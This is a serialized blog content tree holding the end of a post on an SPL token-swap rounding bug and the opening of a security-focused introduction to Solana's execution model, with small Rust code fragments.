ag":217,"props":164387,"children":164388},{"class":7028,"line":7140},[164389,164394,164398,164402,164406,164410],{"type":26,"tag":217,"props":164390,"children":164391},{"style":7042},[164392],{"type":32,"value":164393},"     for",{"type":26,"tag":217,"props":164395,"children":164396},{"style":7054},[164397],{"type":32,"value":78641},{"type":26,"tag":217,"props":164399,"children":164400},{"style":7154},[164401],{"type":32,"value":154414},{"type":26,"tag":217,"props":164403,"children":164404},{"style":7130},[164405],{"type":32,"value":9922},{"type":26,"tag":217,"props":164407,"children":164408},{"style":7149},[164409],{"type":32,"value":120880},{"type":26,"tag":217,"props":164411,"children":164412},{"style":7048},[164413],{"type":32,"value":162763},{"type":26,"tag":217,"props":164415,"children":164416},{"class":7028,"line":7165},[164417,164421,164426,164430,164434],{"type":26,"tag":217,"props":164418,"children":164419},{"style":7149},[164420],{"type":32,"value":18420},{"type":26,"tag":217,"props":164422,"children":164423},{"style":7054},[164424],{"type":32,"value":164425},"        y_prev",{"type":26,"tag":217,"props":164427,"children":164428},{"style":7149},[164429],{"type":32,"value":8993},{"type":26,"tag":217,"props":164431,"children":164432},{"style":7054},[164433],{"type":32,"value":162722},{"type":26,"tag":217,"props":164435,"children":164436},{"style":7048},[164437],{"type":32,"value":7162},{"type":26,"tag":217,"props":164439,"children":164440},{"class":7028,"line":7178},[164441,164445,164450,164454,164458,164462,164466,164470,164474,164478,164482,164486,164490,164494,164498,164502,164506,164510],{"type":26,"tag":217,"props":164442,"children":164443},{"style":7149},[164444],{"type":32,"value":18420},{"type":26,"tag":217,"props":164446,"children":164447},{"style":7054},[164448],{"type":32,"value":164449},"        y",{"type":26,"tag":217,"props":164451,"children":164452},{"style":7149},[164453],{"type":32,"value":8993},{"type":26,"tag":217,"props":164455,"children":164456},{"style":7048},[164457],{"type":32,"value":7051},{"type":26,"tag":217,"props":164459,"children":164460},{"style":7064},[164461],{"type":32,"value":162804},{"type":26,"tag":217,"props":164463,"children":164464},{"style":7048},[164465],{"type":32,"value":1851},{"type":26,"tag":217,"props":164467,"children":164468},{"style":7149},[164469],{"type":32,"value":9804},{"type":26,"tag":217,"props":164471,"children":164472},{"style":7054},[164473],{"type":32,"value":19017},{"type":26,"tag":217,"props":164475,"children":164476},{"style":7048},[164477],{"type":32,"value":7599},{"type":26,"tag":217,"props":164479,"children":164480},{"style":7130},[164481],{"type":32,"value":332},{"type":26,"tag":217,"props":164483,"children":164484},{"style":7048},[164485],{"type":32,"value":1889},{"type":26,"tag":217,"props":164487,"children":164488},{"style":7149},[164489],{"type":32,"value":91725},{"type":26,"tag":217,"props":164491,"children":164492},{"style":7064},[164493],{"type":32,"value":162837},{"type":26,"tag":217,"props":164495,"children":164496},{"style":7048},[164497],{"type":32,"value":1851},{"type":26,"tag":217,"props":164499,"children":164500},{"style":7054},[164501],{"type":32,"value":2255},{"type":26,"tag":217,"props":164503,"children":164504},{"style":7048},[164505],{"type":32,"value":1889},{"type":26,"tag":217,"props":164507,"children":164508},{"style":7149},[164509],{"type":32,"value":605},{"type":26,"tag":217,"props":164511,"children":164512},{"style":7048},[164513],{"type":32,"value":10025},{"type":26,"tag":217,"props":164515,"children":164516},{"class":7028,"line":7389},[164517,164521,164525,164530,164534,164538,164542,164546,164550,164554,164558,164562,164566,164570,164574,164578,164582,164586,164590,164594,164598,164602,164606,164610,164614],{"type":26,"tag":217,"props":164518,"children":164519},{"style":7149},[164520],{"type":32,"value":18420},{"type":26,"tag":217,"props":164522,"children":164523},{"style":7149},[164524],{"type":32,"value":94017},{"type":26,"tag":217,"props":164526,"children":164527},{"style":7064},[164528],{"type":32,"value":164529},"checked_div",{"type":26,"tag":217,"props":164531,"children":164532},{"style":7048},[164533],{"type":32,"value":1851},{"type":26,"tag":217,"props":164535,"children":164536},{"style":7064},[164537],{"type":32,"value":162878},{"type":26,"tag":217,"props":164539,"children":164540},{"style":7048},[164541],{"type":32,"value":1851},{"type":26,"tag":217,"props":164543,"children":164544},{"style":7149},[164545],{"type":32,"value":9804},{"type":26,"tag":217,"props":164547,"children":164548},{"style":7054},[164549],{"type":32,"value":19017},{"type":26,"tag":217,"props":164551,"children":164552},{"style":7048},[164553],{"type":32,"value":7599},{"type":26,"tag":217,"props":164555,"children":164556},{"style":7130},[164557],{"type":32,"value":332},{"type":26,"tag":217,"props":164559,"children":164560},{"style":7048},[164561],{"type":32,"value":1889},{"type":26,"tag":217,"props":164563,"children":164564},{"style":7149},[164565],{"type":32,"value":91725},{"type":26,"tag":217,"props":164567,"children":164568},{"style":7064},[164569],{"type":32,"value":162837},{"type":26,"tag":217,"props":164571,"children":164572},{"style":7048},[164573],{"type":32,"value":1851},{"type":26,"tag":217,"props":164575,"children":164576},{"style":7054},[164577],{"type":32,"value":14783},{"type":26,"tag":217,"props":164579,"children":164580},{"style":7048},[164581],{"type":32,"value":1889},{"type":26,"tag":217,"props":164583,"children":164584},{"style":7149},[164585],{"type":32,"value":91725},{"type":26,"tag":217,"props":164587,"children":164588},{"style":7064},[164589],{"type":32,"value":162931},{"type":26,"tag":217,"props":164591,"children":164592},{"style":7048},[164593],{"type":32,"value":1851},{"type":26,"tag":217,"props":164595,"children":164596},{"style":7054},[164597],{"type":32,"value":162940},{"type":26,"tag":217,"props":164599,"children":164600},{"style":7048},[164601],{"type":32,"value":1889},{"type":26,"tag":217,"props":164603,"children":164604},{"style":7149},[164605],{"type":32,"value":605},{"type":26,"tag":217,"props":164607,"children":164608},{"style":7048},[164609],{"type":32,"value":1889},{"type":26,"tag":217,"props":164611,"children":164612},{"style":7149},[164613],{"type":32,"value":605},{"type":26,"tag":217,"props":164615,"children":164616},{"style":7048},[164617],{"type":32,"value":7162},{"type":26,"tag":217,"props":164619,"children":164620},{"class":7028,"line":7406},[164621,164625,164629,164633,164637,164641],{"type":26,"tag":217,"props":164622,"children":164623},{"style":7149},[164624],{"type":32,"value":18420},{"type":26,"tag":217,"props":164626,"children":164627},{"style":7042},[164628],{"type":32,"value":12497},{"type":26,"tag":217,"props":164630,"children":164631},{"style":7054},[164632],{"type":32,"value":162722},{"type":26,"tag":217,"props":164634,"children":164635},{"style":7149},[164636],{"type":32,"value":11680},{"type":26,"tag":217,"props":164638,"children":164639},{"style":7054},[164640],{"type":32,"value":164346},{"type":26,"tag":217,"props":164642,"children":164643},{"style":7048},[164644],{"type":32,"value":8064},{"type":26,"tag":217,"props":164646,"children":164647},{"class":7028,"line":7439},[164648,164652,164656,164660,164664,164668,164672,164676,164680,164684,164688,164692,164696,164700,164704,164708,164712,164716,164720,164724,164728,164732,164736],{"type":26,"tag":217,"props":164649,"children":164650},{"style":7149},[164651],{"type":32,"value":3540},{"type":26,"tag":217,"props":164653,"children":164654},{"style":7154},[164655],{"type":32,"value":91366},{"type":26,"tag":217,"props":164657,"children":164658},{"style":7048},[164659],{"type":32,"value":7051},{"type":26,"tag":217,"props":164661,"children":164662},{"style":7054},[164663],{"type":32,"value":162779},{"type":26,"tag":217,"props":164665,"children":164666},{"style":7048},[164667],{"type":32,"value":7599},{"type":26,"tag":217,"props":164669,"children":164670},{"style":7054},[164671],{"type":32,"value":49012},{"type":26,"tag":217,"props":164673,"children":164674},{"style":7048},[164675],{"type":32,"value":8380},{"type":26,"tag":217,"props":164677,"children":164678},{"style":7149},[164679],{"type":32,"value":267},{"type":26,"tag":217,"props":164681,"children":164682},{"style":7048},[164683],{"type":32,"value":7051},{"type":26,"tag":217,"props":164685,"children":164686},{"style":7064},[164687],{"type":32,"value":162804},{"type":26,"tag":217,"props":164689,"children":164690},{"style":7048},[164691],{"type":32,"value":1851},{"type":26,"tag":217,"props":164693,"children":164694},{"style":7149},[164695],{"type":32,"value":9804},{"type":26,"tag":217,"props":164697,"children":164698},{"style":7054},[164699],{"type":32,"value":19017},{"type":26,"tag":217,"props":164701,"children":164702},{"style":7048},[164703],{"type":32,"value":7599},{"type":26,"tag":217,"props":164705,"children":164706},{"style":7130},[164707],{"type":32,"value":332},{"type":26,"tag":217,"props":164709,"children":164710},{"style":7048},[164711],{"type":32,"value":1889},{"type":26,"tag":217,"props":164713,"children":164714},{"style":7149},[164715],{"type":32,"value":91725},{"type":26,"tag":217,"props":164717,"children":164718},{"style":7064},[164719],{"type":32,"value":162837},{"type":26,"tag":217,"props":164721,"children":164722},{"style":7048},[164723],{"type":32,"value":1851},{"type":26,"tag":217,"props":164725,"children":164726},{"style":7054},[164727],{"type":32,"value":2255},{"type":26,"tag":217,"props":164729,"children":164730},{"style":7048},[164731],{"type":32,"value":1889},{"type":26,"tag":217,"props":164733,"children":164734},{"style":7149},[164735],{"type":32,"value":605},{"type":26,"tag":217,"props":164737,"children":164738},{"style":7048},[164739],{"type":32,"value":10025},{"type":26,"tag":217,"props":164741,"children":164742},{"class":7028,"line":7487},[164743,164747,164751,164755,164759,164763,164767,164771,164775,164779,164783,164787,164791,164795,164799,164803,164807,164811,164815,164819,164823,164827,164831,164835,164839],{"type":26,"tag":217,"props":164744,"children":164745},{"style":7149},[164746],{"type":32,"value":3540},{"type":26,"tag":217,"props":164748,"children":164749},{"style":7149},[164750],{"type":32,"value":94017},{"type":26,"tag":217,"props":164752,"children":164753},{"style":7064},[164754],{"type":32,"value":162869},{"type":26,"tag":217,"props":164756,"children":164757},{"style":7048},[164758],{"type":32,"value":1851},{"type":26,"tag":217,"props":164760,"children":164761},{"style":7064},[164762],{"type":32,"value":162878},{"type":26,"tag":217,"props":164764,"children":164765},{"style":7048},[164766],{"type":32,"value":1851},{"type":26,"tag":217,"props":164768,"children":164769},{"style":7149},[164770],{"type":32,"value":9804},{"type":26,"tag":217,"props":164772,"children":164773},{"style":7054},[164774],{"type":32,"value":19017},{"type":26,"tag":217,"props":164776,"children":164777},{"style":7048},[164778],{"type":32,"value":7599},{"type":26,"tag":217,"props":164780,"children":164781},{"style":7130},[164782],{"type":32,"value":332},{"type":26,"tag":217,"props":164784,"children":164785},{"style":7048},[164786],{"type":32,"value":1889},{"type":26,"tag":217,"props":164788,"children":164789},{"style":7149},[164790],{"type":32,"value":91725},{"type":26,"tag":217,"props":164792,"children":164793},{"style":7064},[164794],{"type":32,"value":162837},{"type":26,"tag":217,"props":164796,"children":164797},{"style":7048},[164798],{"type":32,"value":1851},{"type":26,"tag":217,"props":164800,"children":164801},{"style":7054},[164802],{"type":32,"value":14783},{"type":26,"tag":217,"props":164804,"children":164805},{"style":7048},[164806],{"type":32,"value":1889},{"type":26,"tag":217,"props":164808,"children":164809},{"style":7149},[164810],{"type":32,"value":91725},{"type":26,"tag":217,"props":164812,"children":164813},{"style":7064},[164814],{"type":32,"value":162931},{"type":26,"tag":217,"props":164816,"children":164817},{"style":7048},[164818],{"type":32,"value":1851},{"type":26,"tag":217,"props":164820,"children":164821},{"style":7054},[164822],{"type":32,"value":162940},{"type":26,"tag":217,"props":164824,"children":164825},{"style":7048},[164826],{"type":32,"value":1889},{"type":26,"tag":217,"props":164828,"children":164829},{"style":7149},[164830],{"type":32,"value":605},{"type":26,"tag":217,"props":164832,"children":164833},{"style":7048},[164834],{"type":32,"value":1889},{"type":26,"tag":217,"props":164836,"children":164837},{"style":7149},[164838],{"type":32,"value":605},{"type":26,"tag":217,"props":164840,"children":164841},{"style":7048},[164842],{"type":32,"value":7162},{"type":26,"tag":217,"props":164844,"children":164845},{"class":7028,"line":7524},[164846,164850,164854,164858,164862,164866],{"type":26,"tag":217,"props":164847,"children":164848},{"style":7149},[164849],{"type":32,"value":3540},{"type":26,"tag":217,"props":164851,"children":164852},{"style":7042},[164853],{"type":32,"value":12497},{"type":26,"tag":217,"props":164855,"children":164856},{"style":7054},[164857],{"type":32,"value":162972},{"type":26,"tag":217,"props":164859,"children":164860},{"style":7149},[164861],{"type":32,"value":11680},{"type":26,"tag":217,"props":164863,"children":164864},{"style":7054},[164865],{"type":32,"value":162722},{"type":26,"tag":217,"props":164867,"children":164868},{"style":7048},[164869],{"type":32,"value":8064},{"type":26,"tag":217,"props":164871,"children":164872},{"class":7028,"line":7553},[164873,164878],{"type":26,"tag":217,"props":164874,"children":164875},{"style":7042},[164876],{"type":32,"value":164877},"             break",{"type":26,"tag":217,"props":164879,"children":164880},{"style":7048},[164881],{"type":32,"value":7162},{"type":26,"tag":217,"props":164883,"children":164884},{"class":7028,"line":7570},[164885,164889,164893,164897],{"type":26,"tag":217,"props":164886,"children":164887},{"style":7149},[164888],{"type":32,"value":3540},{"type":26,"tag":217,"props":164890,"children":164891},{"style":7048},[164892],{"type":32,"value":83382},{"type":26,"tag":217,"props":164894,"children":164895},{"style":7042},[164896],{"type":32,"value":40852},{"type":26,"tag":217,"props":164898,"children":164899},{"style":7048},[164900],{"type":32,"value":8064},{"type":26,"tag":217,"props":164902,"children":164903},{"class":7028,"line":7621},[164904,164908,164912,164916,164920],{"type":26,"tag":217,"props":164905,"children":164906},{"style":7149},[164907],{"type":32,"value":3540},{"type":26,"tag":217,"props":164909,"children":164910},{"style":7054},[164911],{"type":32,"value":163018},{"type":26,"tag":217,"props":164913,"children":164914},{"style":7149},[164915],{"type":32,"value":8993},{"type":26,"tag":217,"props":164917,"children":164918},{"style":7054},[164919],{"type":32,"value":162972},{"type":26,"tag":217,"props":164921,"children":164922},{"style":7048},[164923],{"type":32,"value":7162},{"type":26,"tag":217,"props":164925,"children":164926},{"class":7028,"line":7672},[164927],{"type":26,"tag":217,"props":164928,"children":164929},{"style":7048},[164930],{"type":32,"value":164931},"         }\n",{"type":26,"tag":27,"props":164933,"children":164934},{"id":137231},[164935],{"type":32,"value":137234},{"type":26,"tag":39,"props":164937,"children":164938},{},[164939],{"type":32,"value":164940},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":26,"tag":39,"props":164942,"children":164943},{},[164944,164946,164951],{"type":32,"value":164945},"Another interesting takeaway is that ",{"type":26,"tag":9348,"props":164947,"children":164948},{},[164949],{"type":32,"value":164950},"fuzzing can give a false sense of security",{"type":32,"value":164952},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":26,"tag":39,"props":164954,"children":164955},{},[164956,164958,164965],{"type":32,"value":164957},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":26,"tag":163,"props":164959,"children":164962},{"href":164960,"rel":164961},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[167],[164963],{"type":32,"value":164964},"port-mortem of the NSS overflow",{"type":32,"value":180},{"type":26,"tag":39,"props":164967,"children":164968},{},[164969],{"type":26,"tag":6468,"props":164970,"children":164972},{"alt":8,"src":164971},"/posts/spl-swap/p0.png",[],{"type":26,"tag":39,"props":164974,"children":164975},{},[164976],{"type":32,"value":164977},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":26,"tag":39,"props":164979,"children":164980},{},[164981],{"type":32,"value":164982},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":26,"tag":39,"props":164984,"children":164985},{},[164986],{"type":32,"value":164987},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":26,"tag":9282,"props":164989,"children":164990},{},[164991],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":164993},[164994,164995,164996,164997],{"id":131020,"depth":6770,"text":131023},{"id":163590,"depth":6770,"text":163593},{"id":8787,"depth":6770,"text":8790},{"id":137231,"depth":6770,"text":137234},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":165002,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":120636,"description":165003,"date":165004,"image":165005,"tags":165009,"isFeatured":7,"onBlogPage":17,"body":165010,"_type":6799,"_id":167775,"_source":6801,"_file":167776,"_stem":167777,"_extension":6804},"/blog/2022-03-14-solana-security-intro","A security focused introduction to Solana, exploring the underlying runtime environment, security boundaries, and implications. An important resource for all developers who want to write more secure code.","2022-03-14",{"src":165006,"width":165007,"height":165008},"/posts/solana-auditor-intro/solana-auditor-intro.jpg",1023,961,[90642,147486],{"type":23,"children":165011,"toc":167770},[165012,165017,165031,165037,165042,165056,165100,165105,165123,165134,165139,165162,165167,165172,165253,165266,165593,165614,165660,165665,165676,165758,165763,165768,166090,166101,166131,166143,166148,166160,166173,166178,166184,166189,166202,166207,166215,166227,166321,166326,166344,166354,166764,166769,166860,166880,166893,167017,167036,167126,167137,167434,167446,167464,167688,167700,167708,167713,167721,167734,167739,167743,167756,167761,167766],{"type":26,"tag":39,"props":165013,"children":165014},{},[165015],{"type":32,"value":165016},"This blog post is meant as a security focused introduction to Solana written. We explore how exactly Solana's runtime operates, what degree of control an attacker has, and any relevant security boundaries. That being said, we believe this is an important resource for all developers. With vulnerabilities putting millions in assets at risk, understanding what happens under the hood, even in passing, is crucial to writing safer code.",{"type":26,"tag":39,"props":165018,"children":165019},{},[165020,165022,165029],{"type":32,"value":165021},"As an aside, we would recommend also checking out ",{"type":26,"tag":163,"props":165023,"children":165026},{"href":165024,"rel":165025},"https://workshop.neodyme.io/index.html",[167],[165027],{"type":32,"value":165028},"Neodyme's Security Workshop",{"type":32,"value":165030},". This presents a good introduction to many different Solana vulnerability classes and is good for diving right in. In contrast, this blog post aims start from fundamentals, presenting an overview of the Solana execution model from a security researcher's perspective. With a strong understanding of how Solana contracts are executed, we believe that an astute researcher should be able to independently find such vulnerability classes -- and more.",{"type":26,"tag":27,"props":165032,"children":165034},{"id":165033},"execution-model",[165035],{"type":32,"value":165036},"Execution Model",{"type":26,"tag":39,"props":165038,"children":165039},{},[165040],{"type":32,"value":165041},"Understanding is crucial to finding vulnerabilities. When approaching a new contract, you should strive for a deep understanding of the contract, its various interactions, and any implicit assumptions.",{"type":26,"tag":39,"props":165043,"children":165044},{},[165045,165047,165054],{"type":32,"value":165046},"Hence, the first step is to understand how Solana programs even work. The Solana ",{"type":26,"tag":163,"props":165048,"children":165051},{"href":165049,"rel":165050},"https://docs.solana.com/developing/programming-model/overview",[167],[165052],{"type":32,"value":165053},"documentation on programming model",{"type":32,"value":165055}," is another good resource.",{"type":26,"tag":39,"props":165057,"children":165058},{},[165059,165061,165068,165070,165074,165076,165080,165082,165086,165087,165091,165093,165099],{"type":32,"value":165060},"Solana programs are eBPF ELF files which are then loaded by an onchain program, the ",{"type":26,"tag":163,"props":165062,"children":165065},{"href":165063,"rel":165064},"https://docs.solana.com/developing/on-chain-programs/overview",[167],[165066],{"type":32,"value":165067},"BPF loader",{"type":32,"value":165069},". The ELF data is stored as part of an ",{"type":26,"tag":65,"props":165071,"children":165072},{},[165073],{"type":32,"value":92995},{"type":32,"value":165075}," onchain. An account can be thought of as a file, where the name of the account is the ",{"type":26,"tag":9348,"props":165077,"children":165078},{},[165079],{"type":32,"value":122332},{"type":32,"value":165081},". Accounts in Solana are referenced by their pubkey. This relationship between pubkeys and accounts is a one-to-one mapping. Like files, accounts can have both data - arbitrary raw bytes - and additional metadata such as ",{"type":26,"tag":65,"props":165083,"children":165084},{},[165085],{"type":32,"value":93835},{"type":32,"value":9438},{"type":26,"tag":65,"props":165088,"children":165089},{},[165090],{"type":32,"value":93182},{"type":32,"value":165092}," that we will cover later. For more information on accounts, see ",{"type":26,"tag":163,"props":165094,"children":165097},{"href":165095,"rel":165096},"https://docs.solana.com/developing/programming-model/accounts",[167],[165098],{"type":32,"value":136353},{"type":32,"value":180},{"type":26,"tag":39,"props":165101,"children":165102},{},[165103],{"type":32,"value":165104},"At a high level, interactions with onchain programs happen in the form of a program invocation. A Solana invocation specifies the following information",{"type":26,"tag":6712,"props":165106,"children":165107},{},[165108,165113,165118],{"type":26,"tag":2044,"props":165109,"children":165110},{},[165111],{"type":32,"value":165112},"the program to call",{"type":26,"tag":2044,"props":165114,"children":165115},{},[165116],{"type":32,"value":165117},"a list of accounts",{"type":26,"tag":2044,"props":165119,"children":165120},{},[165121],{"type":32,"value":165122},"a list of bytes, instruction data",{"type":26,"tag":39,"props":165124,"children":165125},{},[165126,165128,165132],{"type":32,"value":165127},"Note how this execution model has no conception of ",{"type":26,"tag":65,"props":165129,"children":165130},{},[165131],{"type":32,"value":128752},{"type":32,"value":165133},". While naturally it might be useful to have different methods to call to perform different functions, this is not implemented at the execution level. Instead, this is done by parsing and interpreting the instruction data, for example, with an enum.",{"type":26,"tag":39,"props":165135,"children":165136},{},[165137],{"type":32,"value":165138},"The memory map is predefined and is as follows:",{"type":26,"tag":2040,"props":165140,"children":165141},{},[165142,165147,165152,165157],{"type":26,"tag":2044,"props":165143,"children":165144},{},[165145],{"type":32,"value":165146},"Program code starts at 0x100000000",{"type":26,"tag":2044,"props":165148,"children":165149},{},[165150],{"type":32,"value":165151},"Stack data starts at 0x200000000",{"type":26,"tag":2044,"props":165153,"children":165154},{},[165155],{"type":32,"value":165156},"Heap data starts at 0x300000000",{"type":26,"tag":2044,"props":165158,"children":165159},{},[165160],{"type":32,"value":165161},"Program input parameters start at 0x400000000",{"type":26,"tag":39,"props":165163,"children":165164},{},[165165],{"type":32,"value":165166},"Because most Solana programs are written in Rust, memory corruption is not a very common issue. Hence, we won't be diving further into memory layout or other lower level details.",{"type":26,"tag":39,"props":165168,"children":165169},{},[165170],{"type":32,"value":165171},"BPF programs define a common entrypoint.",{"type":26,"tag":207,"props":165173,"children":165175},{"code":165174,"language":56139,"meta":8,"className":56140,"style":8},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64;\n",[165176],{"type":26,"tag":83,"props":165177,"children":165178},{"__ignoreMap":8},[165179,165186],{"type":26,"tag":217,"props":165180,"children":165181},{"class":7028,"line":7029},[165182],{"type":26,"tag":217,"props":165183,"children":165184},{"style":7048},[165185],{"type":32,"value":148417},{"type":26,"tag":217,"props":165187,"children":165188},{"class":7028,"line":6770},[165189,165193,165197,165201,165205,165209,165213,165217,165221,165225,165229,165233,165237,165241,165245,165249],{"type":26,"tag":217,"props":165190,"children":165191},{"style":7154},[165192],{"type":32,"value":56830},{"type":26,"tag":217,"props":165194,"children":165195},{"style":7154},[165196],{"type":32,"value":148429},{"type":26,"tag":217,"props":165198,"children":165199},{"style":7154},[165200],{"type":32,"value":148434},{"type":26,"tag":217,"props":165202,"children":165203},{"style":7338},[165204],{"type":32,"value":148439},{"type":26,"tag":217,"props":165206,"children":165207},{"style":7154},[165208],{"type":32,"value":56835},{"type":26,"tag":217,"props":165210,"children":165211},{"style":7064},[165212],{"type":32,"value":148448},{"type":26,"tag":217,"props":165214,"children":165215},{"style":7048},[165216],{"type":32,"value":1851},{"type":26,"tag":217,"props":165218,"children":165219},{"style":7054},[165220],{"type":32,"value":56415},{"type":26,"tag":217,"props":165222,"children":165223},{"style":7149},[165224],{"type":32,"value":1473},{"type":26,"tag":217,"props":165226,"children":165227},{"style":7149},[165228],{"type":32,"value":9690},{"type":26,"tag":217,"props":165230,"children":165231},{"style":7154},[165232],{"type":32,"value":90786},{"type":26,"tag":217,"props":165234,"children":165235},{"style":7119},[165236],{"type":32,"value":125491},{"type":26,"tag":217,"props":165238,"children":165239},{"style":7048},[165240],{"type":32,"value":8380},{"type":26,"tag":217,"props":165242,"children":165243},{"style":7149},[165244],{"type":32,"value":10115},{"type":26,"tag":217,"props":165246,"children":165247},{"style":7119},[165248],{"type":32,"value":91146},{"type":26,"tag":217,"props":165250,"children":165251},{"style":7048},[165252],{"type":32,"value":7162},{"type":26,"tag":39,"props":165254,"children":165255},{},[165256,165258,165265],{"type":32,"value":165257},"This method will be called with a binary blob representing the serialized instruction and account data. Solana also provides utility functions to ",{"type":26,"tag":163,"props":165259,"children":165262},{"href":165260,"rel":165261},"https://github.com/solana-labs/solana/blob/d9b0fc0e3eec67dfe4a97d9298b15969b2804fab/sdk/program/src/entrypoint.rs#L146",[167],[165263],{"type":32,"value":165264},"deserialize this data",{"type":32,"value":180},{"type":26,"tag":207,"props":165267,"children":165269},{"code":165268,"language":56139,"meta":8,"className":56140,"style":8},"pub unsafe fn deserialize\u003C'a>(input: *mut u8) -> (&'a Pubkey, Vec\u003CAccountInfo\u003C'a>>, &'a [u8]) {\n    let mut offset: usize = 0;\n\n    // Number of accounts present\n\n    #[allow(clippy::cast_ptr_alignment)]\n    let num_accounts = *(input.add(offset) as *const u64) as usize;\n    offset += size_of::\u003Cu64>();\n",[165270],{"type":26,"tag":83,"props":165271,"children":165272},{"__ignoreMap":8},[165273,165407,165443,165450,165458,165465,165481,165561],{"type":26,"tag":217,"props":165274,"children":165275},{"class":7028,"line":7029},[165276,165280,165284,165288,165293,165297,165301,165305,165309,165313,165317,165321,165325,165329,165333,165337,165341,165346,165350,165354,165358,165362,165366,165370,165374,165378,165383,165387,165391,165395,165399,165403],{"type":26,"tag":217,"props":165277,"children":165278},{"style":7154},[165279],{"type":32,"value":56830},{"type":26,"tag":217,"props":165281,"children":165282},{"style":7154},[165283],{"type":32,"value":148429},{"type":26,"tag":217,"props":165285,"children":165286},{"style":7154},[165287],{"type":32,"value":56835},{"type":26,"tag":217,"props":165289,"children":165290},{"style":7064},[165291],{"type":32,"value":165292}," deserialize",{"type":26,"tag":217,"props":165294,"children":165295},{"style":7048},[165296],{"type":32,"value":90764},{"type":26,"tag":217,"props":165298,"children":165299},{"style":7119},[165300],{"type":32,"value":163},{"type":26,"tag":217,"props":165302,"children":165303},{"style":7048},[165304],{"type":32,"value":100384},{"type":26,"tag":217,"props":165306,"children":165307},{"style":7054},[165308],{"type":32,"value":56415},{"type":26,"tag":217,"props":165310,"children":165311},{"style":7149},[165312],{"type":32,"value":1473},{"type":26,"tag":217,"props":165314,"children":165315},{"style":7149},[165316],{"type":32,"value":9690},{"type":26,"tag":217,"props":165318,"children":165319},{"style":7154},[165320],{"type":32,"value":90786},{"type":26,"tag":217,"props":165322,"children":165323},{"style":7119},[165324],{"type":32,"value":125491},{"type":26,"tag":217,"props":165326,"children":165327},{"style":7048},[165328],{"type":32,"value":8380},{"type":26,"tag":217,"props":165330,"children":165331},{"style":7149},[165332],{"type":32,"value":10115},{"type":26,"tag":217,"props":165334,"children":165335},{"style":7048},[165336],{"type":32,"value":7051},{"type":26,"tag":217,"props":165338,"children":165339},{"style":7149},[165340],{"type":32,"value":9804},{"type":26,"tag":217,"props":165342,"children":165343},{"style":7048},[165344],{"type":32,"value":165345},"'",{"type":26,"tag":217,"props":165347,"children":165348},{"style":7119},[165349],{"type":32,"value":163},{"type":26,"tag":217,"props":165351,"children":165352},{"style":7119},[165353],{"type":32,"value":93283},{"type":26,"tag":217,"props":165355,"children":165356},{"style":7048},[165357],{"type":32,"value":7599},{"type":26,"tag":217,"props":165359,"children":165360},{"style":7119},[165361],{"type":32,"value":907},{"type":26,"tag":217,"props":165363,"children":165364},{"style":7048},[165365],{"type":32,"value":7289},{"type":26,"tag":217,"props":165367,"children":165368},{"style":7119},[165369],{"type":32,"value":93505},{"type":26,"tag":217,"props":165371,"children":165372},{"style":7048},[165373],{"type":32,"value":90764},{"type":26,"tag":217,"props":165375,"children":165376},{"style":7119},[165377],{"type":32,"value":163},{"type":26,"tag":217,"props":165379,"children":165380},{"style":7048},[165381],{"type":32,"value":165382},">>, ",{"type":26,"tag":217,"props":165384,"children":165385},{"style":7149},[165386],{"type":32,"value":9804},{"type":26,"tag":217,"props":165388,"children":165389},{"style":7048},[165390],{"type":32,"value":165345},{"type":26,"tag":217,"props":165392,"children":165393},{"style":7119},[165394],{"type":32,"value":163},{"type":26,"tag":217,"props":165396,"children":165397},{"style":7048},[165398],{"type":32,"value":95870},{"type":26,"tag":217,"props":165400,"children":165401},{"style":7119},[165402],{"type":32,"value":36887},{"type":26,"tag":217,"props":165404,"children":165405},{"style":7048},[165406],{"type":32,"value":67806},{"type":26,"tag":217,"props":165408,"children":165409},{"class":7028,"line":6770},[165410,165414,165418,165423,165427,165431,165435,165439],{"type":26,"tag":217,"props":165411,"children":165412},{"style":7154},[165413],{"type":32,"value":77780},{"type":26,"tag":217,"props":165415,"children":165416},{"style":7154},[165417],{"type":32,"value":94619},{"type":26,"tag":217,"props":165419,"children":165420},{"style":7054},[165421],{"type":32,"value":165422}," offset",{"type":26,"tag":217,"props":165424,"children":165425},{"style":7149},[165426],{"type":32,"value":1473},{"type":26,"tag":217,"props":165428,"children":165429},{"style":7119},[165430],{"type":32,"value":94410},{"type":26,"tag":217,"props":165432,"children":165433},{"style":7149},[165434],{"type":32,"value":8993},{"type":26,"tag":217,"props":165436,"children":165437},{"style":7130},[165438],{"type":32,"value":9922},{"type":26,"tag":217,"props":165440,"children":165441},{"style":7048},[165442],{"type":32,"value":7162},{"type":26,"tag":217,"props":165444,"children":165445},{"class":7028,"line":6779},[165446],{"type":26,"tag":217,"props":165447,"children":165448},{"emptyLinePlaceholder":17},[165449],{"type":32,"value":7817},{"type":26,"tag":217,"props":165451,"children":165452},{"class":7028,"line":7140},[165453],{"type":26,"tag":217,"props":165454,"children":165455},{"style":7033},[165456],{"type":32,"value":165457},"    // Number of accounts present\n",{"type":26,"tag":217,"props":165459,"children":165460},{"class":7028,"line":7165},[165461],{"type":26,"tag":217,"props":165462,"children":165463},{"emptyLinePlaceholder":17},[165464],{"type":32,"value":7817},{"type":26,"tag":217,"props":165466,"children":165467},{"class":7028,"line":7178},[165468,165473,165477],{"type":26,"tag":217,"props":165469,"children":165470},{"style":7048},[165471],{"type":32,"value":165472},"    